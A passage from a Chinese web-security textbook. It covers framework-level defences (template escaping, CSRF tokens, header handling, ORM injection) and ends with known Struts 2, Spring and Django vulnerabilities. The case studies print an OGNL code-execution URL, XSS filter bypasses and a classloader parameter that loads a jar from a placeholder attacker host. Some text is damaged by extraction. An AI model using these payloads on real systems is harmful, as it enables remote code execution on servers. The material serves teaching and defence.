bytes_to_int32(databytes, ptr + 20), 21) updateRun(fI(b, c, d), 0x655b59c3, bytes_to_int32(databytes, ptr + 48), 6) updateRun(fI(b, c, d), 0x8f0ccc92, bytes_to_int32(databytes, ptr + 12), 10) updateRun(fI(b, c, d), 0xffeff47d, bytes_to_int32(databytes, ptr + 40), 15) updateRun(fI(b, c, d), 0x85845dd1, bytes_to_int32(databytes, ptr + 4), 21) updateRun(fI(b, c, d), 0x6fa87e4f, bytes_to_int32(databytes, ptr + 32), 6) updateRun(fI(b, c, d), 0xfe2ce6e0, bytes_to_int32(databytes, ptr + 60), 10) updateRun(fI(b, c, d), 0xa3014314, bytes_to_int32(databytes, ptr + 24), 15) updateRun(fI(b, c, d), 0x4e0811a1, bytes_to_int32(databytes, ptr + 52), 21) updateRun(fI(b, c, d), 0xf7537e82, bytes_to_int32(databytes, ptr + 16), 6) updateRun(fI(b, c, d), 0xbd3af235, bytes_to_int32(databytes, ptr + 44), 10) updateRun(fI(b, c, d), 0x2ad7d2bb, bytes_to_int32(databytes, ptr + 8), 15) updateRun(fI(b, c, d), 0xeb86d391, bytes_to_int32(databytes, ptr + 36), 21) // update buffers h0 = _add(h0, a) h1 = _add(h1, b) h2 = _add(h2, c) h3 = _add(h3, d) if (debug == true){ document.write(\"run times: \"+i+\"<br/>h3: \"+h3+\"<br/>h2: \"+h2+\"<br/>h1:\"+h1+\"<br/>h0: \"+h0+\"<br/>\") } } result['hash'] = int128le_to_hex(h3, h2, h1, h0); return result; // 检测分组后开头是否有0，如果有则去掉 function ltripzero(str){ if (str.length != 8) { return false; } if (str == \"00000000\"){ return str; } var result = ''; if (str.indexOf('0') == 0 ) { var tmp = new Array(); tmp = str.split(''); for (i=0;i<8;i++){ if (tmp[i] != 0){ for(j=i;j<8;j++){ result = result + tmp[j]; } break; } } return result; }else{ return str; } } // 往数组填充padding function padding(databytes){ if (databytes.constructor != Array) { return false; } // save original length var org_len = databytes.length // first append the \"1\" + 7x \"0\" databytes.push(0x80) //alert(databytes) // 添加第一个0x80，然后填充0x00到56位 // determine required amount of padding var tail = databytes.length % 64 // no room for msg length? if (tail > 56) { // pad to next 512 bit block for (var i = 0; i < (64 - tail); i++) { databytes.push(0x0) } tail = databytes.length % 64 } for (i = 0; i < (56 - tail); i++) { databytes.push(0x0) } // message length in bits mod 512 should now be 448 // append 64 bit, little-endian original msg length (in *bits*!) databytes = databytes.concat(int64_to_bytes(org_len * 8)) return databytes; } // MD5 压缩需要使用的函数 // function update partial state for each run function updateRun(nf, sin32, dw32, b32) { var temp = d d = c c = b //b = b + rol(a + (nf + (sin32 + dw32)), b32) b = _add(b, rol( _add(a, _add(nf, _add(sin32, dw32)) ), b32 ) ) a = temp } function _add(n1, n2) { return 0x0FFFFFFFF & (n1 + n2) } // convert the 4 32-bit buffers to a 128 bit hex string. (Little-endian is assumed) function int128le_to_hex(a, b, c, d) { var ra = \"\" var t = 0 var ta = 0 for (var i = 3; i >= 0; i--) { ta = arguments[i] t = (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | ta ra = ra + to_zerofilled_hex(t) } return ra } // convert a 64 bit unsigned number to array of bytes. Little endian function int64_to_bytes(num) { var retval = [] for (var i = 0; i < 8; i++) { retval.push(num & 0xFF) num = num >>> 8 } return retval } // 32 bit left-rotation function rol(num, places) { return ((num << places) & 0xFFFFFFFF) | (num >>> (32 - places)) } // The 4 MD5 functions function fF(b, c, d) { return (b & c) | (~b & d) } function fG(b, c, d) { return (d & b) | (~d & c) } function fH(b, c, d) { return b ^ c ^ d } function fI(b, c, d) { return c ^ (b | ~d) } // pick 4 bytes at specified offset. Little-endian is assumed function bytes_to_int32(arr, off) { return (arr[off + 3] << 24) | (arr[off + 2] << 16) | (arr[off + 1] << 8) | (arr[off]) } // convert number to (unsigned) 32 bit hex, zero filled string function to_zerofilled_hex(n) { var t1 = (n >>> 0).toString(16) return \"00000000\".substr(0, 8 - t1.length) + t1 }}\n第12章 Web框架安全前面的章节，我们讨论了许多浏览器、服务器端的安全问题，这些问题都有对应的解决方法。总的来说，实施安全方案，要达到好的效果，必须要完成两个目标：（1）安全方案正确、可靠； （2）能够发现所有可能存在的安全问题，不出现遗漏。只有深入理解漏洞原理之后，才能设计出真正有效、能够解决问题的方案，本书的许多篇幅，都是介绍漏洞形成的根本原因。比如真正理解了XSS、SQL注入等漏洞的产生原理后，想彻底解决这些顽疾并不难。但是，方案光有效是不够的，要想设计出完美的方案，还需要解决第二件事情，就是找到一个方法，能够让我们快速有效、不会遗漏地发现所有问题。而Web开发框架，为我们解决这个问题提供了便捷。\n12.1 MVC框架安全在现代Web开发中，使用MVC架构是一种流行的做法。MVC是Model-View-Controller的缩写，它将Web应用分为三层，View层负责用户视图、页面展示等工作；Controller负责应用的逻辑实现，接收View层传入的用户请求，并转发给对应的Model做处理；Model层则负责实现模型，完成数据的处理。MVC框架示意图从数据的流入来看，用户提交的数据先后流经了View层、Controller、Model层，数据的流出则反过来。在设计安全方案时，要牢牢把握住数据这个关键因素。在MVC框架中，通过切片、过滤器等方式，往往能对数据进行全局处理，这为设计安全方案提供了极大的便利。比如在Spring Security中，通过URL pattern实现的访问控制，需要由框架来处理所有用户请求，在Spring Security获取了URL handler基础上，才有可能将后续的安全检查落实。在SpringSecurity的配置中，第一步就是在web.xml文件中增加一个filter，接管用户数据。<filter> <filter-name>springSecurityFilterChain</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class></filter><filter-mapping> <filter-name>springSecurityFilterChain</filter-name> <url-pattern>/*</url-pattern></filter-mapping>然而数据的处理是复杂的，数据经过不同的应用逻辑处理后，其内容可能会发生改变。比如数据经过toLowercase，会把大写变成小写；而一些编码解码，则可能会把GBK变成Unicode码。这些处理都会改变数据的内容，因此在设计安全方案时，要考虑到数据可能的变化，认真斟酌安全检查插入的时机。在本书第1章中曾经提到，一个优秀的安全方案，应该是：在正确的地方，做正确的事情。举例来说，在“注入攻击”一章中，我们并没有使用PHP的magic_quotes_gpc作为一项对抗SQL注入的防御方案，这是因为magic_quotes_gpc是有缺陷的，它并没有在正确的地方解决问题。magic_quotes_gpc实际上是调用了一次addslashes()，将一些特殊符号（比如单引号）进行转义，变成了\\’。对应到MVC架构里，它是在View层做这件事情的，而SQL注入是Model层需要解决的问题，结果如何呢？黑客们找到了多种绕过magic_quotes_gpc的办法，比如使用GBK编码、使用无单引号的注入等。PHP官方在若干年后终于开始正视这个问题，于是在官方文档的描述中不再推荐大家使用它：PHP官方声明取消Magic Quotes所以Model层的事情搞到View层去解决，效果只会适得其反。一般来说，我们需要先想清楚要解决什么问题，深入理解这些问题后，再在“正确”的地方对数据进行安全检查。一些主要的Web安全威胁，如XSS、CSRF、SQL注入、访问控制、认证、URL跳转等不涉及业务逻辑的安全问题，都可以集中放在MVC框架中解决。在框架中实施安全方案，比由程序员在业务中修复一个个具体的bug，有着更多的优势。首先，有些安全问题可以在框架中统一解决，能够大大节省程序员的工作量，节约人力成本。当代码的规模大到一定程度时，在业务的压力下，专门花时间去一个个修补漏洞几乎成为不可能完成的任务。其次，对于一些常见的漏洞来说，由程序员一个个修补可能会出现遗漏，而在框架中统一解决，有可能解决“遗漏”的问题。这需要制定相关的代码规范和工具配合。最后，在每个业务里修补安全漏洞，补丁的标准难以统一，而在框架中集中实施的安全方案，可以使所有基于框架开发的业务都能受益，从安全方案的有效性来说，更容易把握。\n12.2 模板引擎与XSS防御在View层，可以解决XSS问题。在本书的“跨站脚本攻击”一章中，阐述了“输入检查”与“输出编码”这两种方法在XSS防御效果上的差异。XSS攻击是在用户的浏览器上执行的，其形成过程则是在服务器端页面渲染时，注入了恶意的HTML代码导致的。从MVC架构来说，是发生在View层，因此使用“输出编码”的防御方法更加合理，这意味着需要针对不同上下文的XSS攻击场景，使用不同的编码方式。在“跨站脚本攻击”一章中，我们将“输出编码”的防御方法总结为以下几种： 在HTML标签中输出变量；在HTML属性中输出变量；在script标签中输出变量；在事件中输出变量；在CSS中输出变量；在URL中输出变量。针对不同的情况，使用不同的编码函数。那么现在流行的MVC框架是否符合这样的设计呢？答案是否定的。在当前流行的MVC框架中，View层常用的技术是使用模板引擎对页面进行渲染，比如在“跨站脚本攻击”一章中所提到的Django，就使用了Django Templates作为模板引擎。模板引擎本身，可能会提供一些编码方法，比如，在Django Tem-plates中，使用filters中的escape作为HtmlEn-code的方法：<h1>Hello, {{ name|escape }}!</h1>Django Templates同时支持auto-escape，这符合Secure by Default原则。现在的Django Tem-plates，默认是将auto-escape开启的，所有的变量都会经过HtmlEncode后输出。默认是编码了5个字符：< is converted to <> is converted to >' (single quote) is converted to '\" (double quote) is converted to "& is converted to &如果要关闭auto-escape，则需要使用以下方法：{{ data|safe }}或者{% autoescape off %} Hello {{ name }}{% endautoescape %}为了方便，很多程序员可能会选择关闭auto-escape。要检查auto-escape是否被关闭也很简单，搜索代码里是否出现上面两种情况即可。但是正如前文所述，最好的XSS防御方案，在不同的场景需要使用不同的编码函数，如果统一使用这5个字符的HtmlEncode，则很可能会被攻击者绕过。由此看来，这种auto-escape的方案，看起来也变得不那么美好了。（具体XSS攻击的细节在本书“跨站脚本攻击”一章中有深入探讨）再看看非常流行的模板引擎Velocity，它也提供了类似的机制，但是有所不同的是，Velocity默认是没有开启HtmlEncode的。在Velocity中，可以通过Event Handler来进行HtmlEncode。eventhandler.referenceinsertion.class = org.apache.velocity.app.event.implement.EscapeHtmlReferenceeventhandler.escape.html.match = /msg.*/使用方法如下例，这里同时还加入了一个转义SQL语句的Event Handler。...import org.apache.velocity.app.event.EventCartridge;import org.apache.velocity.app.event.ReferenceInsertionEventHandler;import org.apache.velocity.app.event.implement.EscapeHtmlReference;import org.apache.velocity.app.event.implement.EscapeSqlReference; ...public class Test{ public void myTest() { .... /** * Make a cartridge to hold the event handlers */ EventCartridge ec = new EventCartridge(); /* * then register and chain two escape-related handlers */ ec.addEventHandler(new EscapeHtmlReference()); ec.addEventHandler(new EscapeSqlReference()); /* * and then finally let it attach itself to the context */ ec.attachToContext( context ); /* * now merge your template with the context as you normally * do */ .... }}但Velocity提供的处理机制，与Django的auto-escape所提供的机制是类似的，都只进行了HtmlEncode，而未细分编码使用的具体场景。不过幸运的是，在模板引擎中，可以实现自定义的编码函数，应用于不同场景。在Django中是使用自定义filters，在Velocity中则可以使用“宏”(ve-locimacro)，比如：XML编码输出，将会执行 XML Encode输出#SXML($xml)JS编码输出，将会执行JavaScript Encode输出#SJS($js)通过自定义的方法，使得XSS防御的功能得到完善；同时在模板系统中，搜索不安全的变量也有了依据，甚至在代码检测工具中，可以自动判断出需要使用哪一种安全的编码方法，这在安全开发流程中是非常重要的。在其他的模板引擎中，也可以依据“是否有细分场景使用不同的编码方式”来判断XSS的安全方案是否完整。在很多Web框架官方文档中推荐的用法，就是存在缺陷的。Web框架的开发者在设计安全方案时，有时会缺乏来自安全专家的建议。所以开发者在使用框架时，应该慎重对待安全问题，不可盲从官方指导文档。\n12.3 Web框架与CSRF防御关于CSRF的攻击原理和防御方案，在本书“跨站点请求伪造”一章中有所阐述。在Web框架中可以使用security token解决CSRF攻击的问题。CSRF攻击的目标，一般都会产生“写数据”操作的URL，比如“增”、“删”、“改”；而“读数据”操作并不是CSRF攻击的目标，因为在CSRF的攻击过程中攻击者无法获取到服务器端返回的数据，攻击者只是借用户之手触发服务器动作，所以读数据对于CSRF来说并无直接的意义（但是如果同时存在XSS漏洞或者其他的跨域漏洞，则可能会引起别的问题，在这里，仅仅就CSRF对抗本身进行讨论）。因此，在Web应用开发中，有必要对“读操作”和“写操作”予以区分，比如要求所有的“写操作”都使用HTTP POST。在很多讲述CSRF防御的文章中，都要求使用HTTP POST进行防御，但实际上POST本身并不足以对抗CSRF，因为POST也是可以自动提交的。但是POST的使用，对于保护token有着积极的意义，而security token的私密性（不可预测性原则），是防御CSRF攻击的基础。对于Web框架来说，可以自动地在所有涉及POST的代码中添加token，这些地方包括所有的form表单、所有的Ajax POST请求等。完整的CSRF防御方案，对于Web框架来说有以下几处地方需要改动。（1）在Session中绑定token。如果不能保存到服务器端Session中，则可以替代为保存到Cookie里。 （2）在form表单中自动填入token字段，比如<input type=hidden name=\"anti_csrf_token\"value=\"$token\" />。 （3）在Ajax请求中自动添加token，这可能需要已有的Ajax封装实现的支持。 （4）在服务器端对比POST提交参数的token与Session中绑定的token是否一致，以验证CSRF攻击。在Rails中，要做到这一切非常简单，只需要在Application Controller中增加一行即可：protect_from_forgery :secret => \"123456789012345678901234567890...\"它将根据secret和服务器端的随机因子自动生成token，并自动添加到所有form和由Rails生成的Ajax请求中。通过框架实现的这一功能大大简化了程序员的开发工作。在Django中也有类似的功能，但是配置稍微要复杂点。首先，将django.middleware.csrf.Csr-fViewMiddlewar添加到MIDDLEWARE_CLASSES中。('django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware',)然后，在form表单的模板中添加token。<form action=\".\" method=\"post\">{% csrf_token %}接下来，确认在View层的函数中使用了django.core.context_processors.csrf，如果使用的是RequestContext，则默认已经使用了，否则需要手动添加。from django.core.context_processors import csrffrom django.shortcuts import render_to_responsedef my_view(request): c = {} c.update(csrf(request)) # ... view code here return render_to_response(\"a_template.html\", c)这样就配置成功了，可以享受CSRF防御的效果了。在Ajax请求中，一般是插入一个包含了token的HTTP头，使用HTTP头是为了防止token泄密，因为一般的JavaScript无法获取到HTTP头的信息，但是在存在一些跨域漏洞时可能会出现例外。下面是一个在Ajax中添加自定义token的例子。$(document).ajaxSend(function(event, xhr, settings) { function getCookie(name) { var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) {document.location.protocol; var sr_origin = '//' + host; var origin = protocol + sr_origin; // Allow absolute or scheme relative URLs to same origin return (url == origin || url.slice(0, origin.length + 1) == origin + '/') || (url == sr_origin || url.slice(0, sr_origin.length + 1) == sr_origin + '/') || // or any other URL that isn't scheme relative or absolute i.e relative. !(/^(\\/\\/|http:|https:).*/.test(url)); } function safeMethod(method) { return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method)); } if (!safeMethod(settings.type) && sameOrigin(settings.url)) { xhr.setRequestHeader(\"X-CSRFToken\", getCookie('csrftoken')); }});在Spring MVC以及一些其他的流行Web框架中，并没有直接提供针对CSRF的保护，因此这些功能需要自己实现。\n12.4 HTTP Headers管理在Web框架中，可以对HTTP头进行全局化的处理，因此一些基于HTTP头的安全方案可以很好地实施。比如针对HTTP返回头的CRLF注入（攻击原理细节请参考“注入攻击”一章），因为HTTP头实际上可以看成是key-value对，比如：Location: http://www.a.comHost: 127.0.0.1因此对抗CRLF的方案只需要在“value”中编码所有的\\r\\n即可。这里没有提到在“key”中编码\\r\\n，是因为让用户能够控制“key”是极其危险的事情，在任何情况下都不应该使其发生。类似的，针对30X返回号的HTTP Response，浏览器将会跳转到Location指定的URL，攻击者往往利用此类功能实施钓鱼或诈骗。HTTP/1.1 302 Moved Temporarily(...)Location: http://www.phishing.tld因此，对于框架来说，管理好跳转目的地址是很有必要的。一般来说，可以在两个地方做这件事情：（1）如果Web框架提供统一的跳转函数，则可以在跳转函数内部实现一个白名单，指定跳转地址只能在白名单中； （2）另一种解决方式是控制HTTP的Location字段，限制Location的值只能是哪些地址，也能起到同样的效果，其本质还是白名单。有很多与安全相关的Headers，也可以统一在Web框架中配置。比如用来对抗ClickJacking的X-Frame-Options，需要在页面的HTTP Response中添加：X-Frame-Options: SAMEORIGINWeb框架可以封装此功能，并提供页面配置。该HTTP头有三个可选的值：SAMEORIGIN、DENY、ALLOW-FROM origin，适用于各种不同的场景。在前面的章节中，还曾提到Cookie的HttpOnly Flag，它能告诉浏览器不要让JavaScript访问该Cookie，在Session劫持等问题上有着积极的意义，而且成本非常小。但并不是所有的Web服务器、Web容器、脚本语言提供的API都支持设置HttpOnly Cookie，所以很多时候需要由框架实现一个功能：对所有的Cookie默认添加HttpOnly，不需要此功能的Cookie则单独在配置文件中列出。这将是非常有用的一项安全措施，在框架中实现的好处就是不用担心会有遗漏。就 HttpOnlyCookie来说，它要求在所有服务器端设置该Cookie的地方都必须加上，这可能意味着很多不同的业务和页面，只要一个地方有遗漏，就会成为短板。当网站的业务复杂时，登录入口可能就有数十个，兼顾所有Set-Cookie页面会非常麻烦，因此在框架中解决将成为最好的方案。一般来说，框架会提供一个统一的设置Cookie函数，HttpOnly的功能可以在此函数中实现；如果没有这样的函数，则需要统一在HTTP返回头中配置实现。\n12.5 数据持久层与SQL注入使用ORM（Object/Relation Mapping）框架对SQL注入是有积极意义的。我们知道对抗SQL注入的最佳方式就是使用“预编译绑定变量”。在实际解决SQL注入时，还有一个难点就是应用复杂后，代码数量庞大，难以把可能存在SQL注入的地方不遗漏地找出来，而ORM框架为我们发现问题提供了一个便捷的途径。以ORM框架ibatis举例，它是基于sqlmap的，生成的SQL语句都结构化地写在XML文件中。ibatis支持动态SQL，可以在SQL语句中插入动态变量：$value$，如果用户能够控制这个变量，则会存在一个SQL注入的漏洞。<select id=\"User.getUser\" parameterClass=\"cn.ibatis.test.User\" resultClass=\"cn.ibatis.test.User\"> select TABLE_NAME,TABLESPACE_NAME from user_tables where table_name like '%'||#table_name#||'%' order by $orderByColumn$ $orderByType$</select>而静态变量#value#则是安全的，因此在使用ibatis时，只需要搜索所有的sqlmap文件中是否包含动态变量即可。当业务需要使用动态SQL时，可以作为特例处理，比如在上层的代码逻辑中针对该变量进行严格的控制，以保证不会发生注入问题。而在Django中，做法则更简单，Django提供的Database API，默认已经将所有输入进行了SQL转义，比如：foo.get_list(bar__exact=\"' OR 1=1\")其最终效果类似于：SELECT * FROM foos WHERE bar = '\\' OR 1=1'使用Web框架提供的功能，在代码风格上更加统一，也更利于代码审计。\n12.6 还能想到什么除了上面讲到的几点外，在框架中还能实现什么安全方案呢？其实选择是很多的，凡是在Web框架中可能实现的安全方案，只要对性能没有太大的损耗，都应该考虑实施。比如文件上传功能，如果应用实现有问题，可能就会成为严重的漏洞。若是由每个业务单独实现文件上传功能，其设计和代码都会存在差异，复杂情况也会导致安全问题难以控制。但如果在Web框架中能为文件上传功能提供一个足够安全的二方库或者函数（具体可参考“文件上传漏洞”一章），就可以为业务线的开发者解决很多问题，让程序员可以把精力和重点放在功能实现上。Spring Security为Spring MVC的用户提供了许多安全功能，比如基于URL的访问控制、加密方法、证书支持、OpenID支持等。但Spring Secu-rity尚缺乏诸如XSS、CSRF等问题的解决方案。在设计整体安全方案时，比较科学的方法是按照本书第1章中所列举的过程来进行——首先建立威胁模型，然后再判断哪些威胁是可以在框架中得到解决的。在设计Web框架安全解决方案时，还需要保存好安全检查的日志。在设计安全逻辑时也需要考虑到日志的记录，比如发生XSS攻击时，可以记录下攻击者的IP、时间、UserAgent、目标URL、用户名等信息。这些日志，对于后期建立攻击事件分析、入侵分析都是有积极意义的。当然，开启日志也会造成一定的性能损失，因此在设计时，需要考虑日志记录行为的频繁程度，并尽可能避免误报。在设计Web框架安全时，还需要与时俱进。当新的威胁出现时，应当及时完成对应的防御方案，如此一个Web框架才具有生命力。而一些0day漏洞，也有可能通过“虚拟补丁”的方式在框架层面解决，因为Web框架就像是一层外衣，为Web应用提供了足够的保护和控制力。\n12.7 Web框架自身安全前面几节讲的都是在Web框架中实现安全方案，但Web框架本身也可能会出现漏洞，只要是程序，就可能出现bug。但是开发框架由于其本身的特殊性，一般网站出于稳定的考虑不会对这个基础设施频繁升级，因此开发框架的漏洞可能不会得到及时的修补，但由此引发的后果却会很严重。下面讲到的几个漏洞，都是一些流行的Web开发框架曾经出现过的严重漏洞。研究这些案例，可以帮助我们更好地理解框架安全，在使用开发框架时更加的小心，同时让我们不要迷信于开发框架的权威。12.7.1 Struts 2命令执行漏洞2010年7月9日，安全研究者公布了Struts 2一个远程执行代码的漏洞（CVE-2010-1870），严格来说，这其实是XWork的漏洞，因为Struts 2的核心使用的是WebWork，而WebWork又是使用XWork来处理action的。这个漏洞的细节描述公布在exploit-db上。在这里简单摘述如下：XWork通过getters/setters方法从HTTP的参数中获取对应action的名称，这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢？如下：user.address.city=Bishkek&user['favoriteDrink']=kumys会被转化成：action.getUser().getAddress().setCity(\"Bishkek\")action.getUser().setFavoriteDrink(\"kumys\")这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的，它的参数是用户可控的，由HTTP参数传入。OGNL的功能较为强大，远程执行代码也正是利用了它的功能。* Method calling: foo()* Static method calling: @java.lang.System@exit(1)* Constructor calling: new MyClass()* Ability to work with context variables: #foo = new MyClass()* And more...由于参数完全是用户可控的，所以XWork出于安全的目的，增加了两个方法用以阻止代码执行。* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' (缺省为true)* SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)但这两个方法可以被覆盖，从而导致代码执行。#_memberAccess['allowStaticMethodAccess'] = true#foo = new java .lang.Boolean(\"false\")#context['xwork.MethodAccessor.denyMethodExecution'] = #foo#rt = @java.lang.Runtime@getRuntime()#rt.exec('mkdir /tmp/PWNED')ParametersInterceptor是不允许参数名称中有#的，因为OGNL中的许多预定义变量也是以#表示的。* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor.denyMethodExecution' property value.* #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented staticmethod execution.* #root* #this* #_typeResolver* #_classResolver* #_traceEvaluations* #_lastEvaluation* #_keepLastEvaluation可是攻击者在过去找到了这样的方法（bug编号XW-641）：使用\\u0023来代替#，这是#的十六进制编码，从而构造出可以远程执行的攻击pay-load。http://mydomain/MyStruts.action?('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(\"false\")))&(asdf)(('\\u0023rt.exit(1)')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1最终导致代码执行成功。12.7.2 Struts 2的问题补丁Struts 2官方目前公布了几个安全补丁：Struts 2官方的补丁页面但深入其细节不难发现，补丁提交者对于安全的理解是非常粗浅的。以S2-002的漏洞修补为例，这是一个XSS漏洞，发现者当时提交给官方的POC只是构造了script标签。http://localhost/foo/bar.action?<script>alert(1)</script>test=hello我们看看当时官方是如何修补的：新增的修补代码：可以看到，只是简单地替换掉<script>标签。于是有人发现，如果构造<<script>>，经过一次处理后会变为<script>。漏洞报告给官方后，开发者再次提交了一个补丁，这次将递归处理类似<<<<script>>>>的情况。修补代码仅仅是将if变成while：这种漏洞修补方式，仍然是存在问题的，攻击者可以通过下面的方法绕过：http://localhost/foo/bar.action?<script test=hello>alert(1)</script>由此可见，Struts 2的开发者，本身对于安全的理解是非常不到位的。关于如何正确地防御XSS漏洞，请参考本书的“跨站脚本攻击”一章。12.7.3 Spring MVC命令执行漏洞2010年6月，公布了Spring框架一个远程执行命令漏洞，CVE编号是CVE-2010-1622。漏洞影响范围如下：SpringSource Spring Framework 3.0.0～3.0.2SpringSource Spring Framework 2.5.0～2.5.7由于Spring框架允许使用客户端所提供的数据来更新对象属性，而这一机制允许攻击者修改class.classloader加载对象的类加载器的属性，这可能导致执行任意命令。例如，攻击者可以将类加载器所使用的URL修改到受控的位置。（1）创建attack.jar并可通过HTTP URL使用。这个jar必须包含以下内容： ?META-INF/spring-form.tld，定义Spring表单标签并指定实现为标签文件而不是类； ?META-INF/tags/中的标签文件，包含标签定义（任意Java代码）。 （2）通过以下HTTP参数向表单控制器提交HTTP请求：class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/这会使用攻击者的URL覆盖WebappClass-Loader的repositoryURLs属性的第0个元素。（3）之后org.apache.jasper.compiler.TldLo-cationsCache.scanJars()会使用 WebappClass-Loader的URL解析标签库，会对TLD中所指定的所有标签文件解析攻击者所控制的jar。这个漏洞将直接危害到使用Spring MVC框架的网站，而大多数程序员可能并不会注意到这个问题。12.7.4 Django命令执行漏洞在Django 0.95版本中，也出现了一个远程执行命令漏洞，根据官方代码diff后的细节，可以看到这是一个很明显的“命令注入”漏洞，我们在“注入攻击”一章中，曾经描述过这种漏洞。Django在处理消息文件时存在问题，远程攻击者构建恶意.po文件，诱使用户访问处理，可导致以应用程序进程权限执行任意命令。Django的漏洞代码漏洞代码如下：cmd = 'msgfmt -o \"%s.mo\" \"%s.po\"' % (pf, pf)os.system(cmd)这是一个典型的命令注入漏洞。但这个漏洞从利用上来说，意义不是特别大，它的教育意义更为重要。\n12.8 小结在本章中讲述了一些Web框架中可以实施的安全方案。Web框架本身也是应用程序的一个组成部分，只是这个组成部分较为特殊，处于基础和底层的位置。Web框架为安全方案的设计提供了很多便利，好好利用它的强大功能，能够设计出非常优美的安全方案。但我们也不能迷信于Web框架本身。很多Web框架提供的安全解决方案有时并不可靠，我们仍然需要自己实现一个更好的方案。同时Web框架自身的安全性也不可忽视，作为一个基础服务，一旦出现漏洞，影响是巨大的。\n第13章 应用层拒绝服务攻击在互联网中一谈起DDOS攻击，人们往往谈虎色变。DDOS攻击被认为是安全领域中最难解决的问题之一，迄今为止也没有一个完美的解决方案。在本章中将主要针对Web安全中的“应用层拒绝服务攻击”来展开讨论，并根据笔者这些年的一些经验总结，探讨此问题的解决之道。\n13.1 DDOS简介DDOS又称为分布式拒绝服务，全称是Dis-tributed Denial of Service。DDOS本是利用合理的请求造成资源过载，导致服务不可用。比如一个停车场总共有100个车位，当100个车位都停满车后，再有车想要停进来，就必须等已有的车先出去才行。如果已有的车一直不出去，那么停车场的入口就会排起长队，停车场的负荷过载，不能正常工作了，这种情况就是“拒绝服务”。我们的系统就好比是停车场，系统中的资源就是车位。资源是有限的，而服务必须一直提供下去。如果资源都已经被占用了，那么服务也将过载，导致系统停止新的响应。分布式拒绝服务攻击，将正常请求放大了若干倍，通过若干个网络节点同时发起攻击，以达成规模效应。这些网络节点往往是黑客们所控制的“肉鸡”，数量达到一定规模后，就形成了一个“僵尸网络”。大型的僵尸网络，甚至达到了数万、数十万台的规模。如此规模的僵尸网络发起的DDOS攻击，几乎是不可阻挡的。常见的DDOS攻击有SYN flood、UDP flood、ICMP flood等。其中SYN flood是一种最为经典的DDOS攻击，其发现于1996年，但至今仍然保持着非常强大的生命力。SYN flood如此猖獗是因为它利用了TCP协议设计中的缺陷，而TCP/IP协议是整个互联网的基础，牵一发而动全身，如今想要修复这样的缺陷几乎成为不可能的事情。DDOS攻击示意图在正常情况下，TCP三次握手过程如下：（1）客户端向服务器端发送一个SYN包，包含客户端使用的端口号和初始序列号x； （2）服务器端收到客户端发送来的SYN包后，向客户端发送一个SYN和ACK都置位的TCP报文，包含确认号xx1和服务器端的初始序列号y； （3）客户端收到服务器端返回的SYNSACK报文后，向服务器端返回一个确认号为yy1、序号为xx1的ACK报文，一个标准的TCP连接完成。而SYN flood在攻击时，首先伪造大量的源IP地址，分别向服务器端发送大量的SYN包，此时服务器端会返回SYN/ACK包，因为源地址是伪造的，所以伪造的IP并不会应答，服务器端没有收到伪造IP的回应，会重试3～5次并且等待一个SYNTime（一般为30秒至2分钟），如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求，服务器端将会消耗非常多的资源（CPU和内存）来处理这种半连接，同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求，导致拒绝服务。对抗SYN flood的主要措施有SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”，并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包，则认为受到攻击，之后来自这个IP地址的包将被丢弃。在很多对抗DDOS的产品中，一般会综合使用各种算法，结合一些DDOS攻击的特征，对流量进行清洗。对抗DDOS的网络设备可以串联或者并联在网络出口处。但DDOS仍然是业界的一个难题，当攻击流量超过了网络设备，甚至带宽的最大负荷时，网络仍将瘫痪。一般来说，大型网站之所以看起来比较能“抗”DDOS攻击，是因为大型网站的带宽比较充足，集群内服务器的数量也比较多。但一个集群的资源毕竟是有限的，在实际的攻击中，DDOS的流量甚至可以达到数G到几十G，遇到这种情况，只能与网络运营商合作，共同完成DDOS攻击的响应。DDOS的攻击与防御是一个复杂的课题，而本书重点是Web安全，因此对网络层的DDOS攻防在此不做深入讨论，有兴趣的朋友可以自行查阅一些相关资料。\n13.2 应用层DDOS应用层DDOS，不同于网络层DDOS，由于发生在应用层，因此TCP三次握手已经完成，连接已经建立，所以发起攻击的IP地址也都是真实的。但应用层DDOS有时甚至比网络层DDOS攻击更为可怕，因为今天几乎所有的商业Anti-DDOS设备，只在对抗网络层DDOS时效果较好，而对应用层DDOS攻击却缺乏有效的对抗手段。那么应用层DDOS到底是怎么一回事呢？这就要从“CC攻击”说起了。13.2.1 CC攻击“CC攻击”的前身是一个叫fatboy的攻击程序，当时黑客为了挑战绿盟的一款反DDOS设备开发了它。绿盟是中国著名的安全公司之一，它有一款叫“黑洞（Collapasar）”的反DDOS设备，能够有效地清洗SYN Flood等有害流量。而黑客则挑衅式地将fatboy所实现的攻击方式命名为：Chal-lenge 